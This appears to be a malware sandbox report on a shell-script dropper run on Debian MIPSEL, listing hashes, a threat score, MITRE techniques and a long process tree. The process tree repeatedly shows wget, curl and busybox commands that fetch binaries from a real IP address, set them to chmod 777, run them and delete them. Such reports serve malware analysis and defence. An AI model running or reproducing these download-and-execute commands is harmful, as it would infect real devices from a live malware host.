a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5

Analysis

max time kernel
101s
max time network
104s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18/11/2024, 02:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
Size 10KB
Sample241118-c5aweawkb1
SHA256 a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5
MD5 a7136f5f7aad005f449adf4d9eb6e330
SHA1 b6cddbe652904c25cc2e6c5f3063fb13a4df6737
SHA512 246aa712ed98a0566dc01bd9c38641f09934c708bff0e9535d33a324e832016dc28f55477382fd2c5611a9b79d4b4430ff37fb83814b6fcbb5db8b06708b657e
SSDEEP 192:8OyzO6my8zK4ZbHrTssv9my8zK4uHrTssiAl:CzOZzL
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
901	chmod
943	chmod
949	chmod
836	chmod
907	chmod
967	chmod
745	chmod
759	chmod
817	chmod
739	chmod
865	chmod
961	chmod
859	chmod
913	chmod
931	chmod
871	chmod
889	chmod
895	chmod
877	chmod
919	chmod
937	chmod
979	chmod
789	chmod
808	chmod
883	chmod
925	chmod
955	chmod
973	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	curl
File opened for modification	/tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8	curl
File opened for modification	/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	curl
File opened for modification	/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	curl
File opened for modification	/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	curl
File opened for modification	/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	curl
File opened for modification	/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	curl
File opened for modification	/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	curl
File opened for modification	/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	curl
File opened for modification	/tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF	curl
File opened for modification	/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	curl
File opened for modification	/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	curl
File opened for modification	/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	curl
File opened for modification	/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	curl
File opened for modification	/tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8	curl
File opened for modification	/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	curl
File opened for modification	/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	curl
File opened for modification	/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	curl
File opened for modification	/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	curl
File opened for modification	/tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv	curl
File opened for modification	/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	curl
File opened for modification	/tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv	curl
File opened for modification	/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	curl
File opened for modification	/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	curl
File opened for modification	/tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF	curl
File opened for modification	/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	curl
File opened for modification	/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	curl
File opened for modification	/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	curl

/tmp/a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
/tmp/a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:738
- /bin/chmod
  chmod 777 duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  ./duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:744
- /bin/chmod
  chmod 777 u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  ./u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:747
- /usr/bin/wget
  wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:754
- /bin/chmod
  chmod 777 MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  ./MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:764
- /usr/bin/wget
  wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:783
- /bin/chmod
  chmod 777 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  ./9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:792
- /usr/bin/wget
  wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:807
- /bin/chmod
  chmod 777 znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  ./znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:810
- /usr/bin/wget
  wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:816
- /bin/chmod
  chmod 777 kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  ./kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:819
- /usr/bin/wget
  wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:830
- /bin/chmod
  chmod 777 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  ./42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:841
- /usr/bin/wget
  wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:857
- /bin/chmod
  chmod 777 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  ./1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:861
- /usr/bin/wget
  wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:864
- /bin/chmod
  chmod 777 I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  ./I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:867
- /usr/bin/wget
  wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:870
- /bin/chmod
  chmod 777 qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  ./qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:873
- /usr/bin/wget
  wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:876
- /bin/chmod
  chmod 777 Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  ./Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:879
- /usr/bin/wget
  wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:882
- /bin/chmod
  chmod 777 IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  ./IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:885
- /usr/bin/wget
  wget http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:888
- /bin/chmod
  chmod 777 DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  ./DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:891
- /usr/bin/wget
  wget http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:894
- /bin/chmod
  chmod 777 9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  ./9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm 9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:897
- /usr/bin/wget
  wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:900
- /bin/chmod
  chmod 777 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  ./1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:903
- /usr/bin/wget
  wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:906
- /bin/chmod
  chmod 777 I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  ./I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:909
- /usr/bin/wget
  wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:912
- /bin/chmod
  chmod 777 IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  ./IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:915
- /usr/bin/wget
  wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:918
- /bin/chmod
  chmod 777 qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  ./qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:921
- /usr/bin/wget
  wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:924
- /bin/chmod
  chmod 777 Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  ./Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:927
- /usr/bin/wget
  wget http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:930
- /bin/chmod
  chmod 777 DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  ./DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:933
- /usr/bin/wget
  wget http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:936
- /bin/chmod
  chmod 777 9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  ./9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm 9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:939
- /usr/bin/wget
  wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:942
- /bin/chmod
  chmod 777 kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  ./kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:945
- /usr/bin/wget
  wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:948
- /bin/chmod
  chmod 777 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  ./42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:951
- /usr/bin/wget
  wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:954
- /bin/chmod
  chmod 777 duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  ./duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:957
- /usr/bin/wget
  wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:960
- /bin/chmod
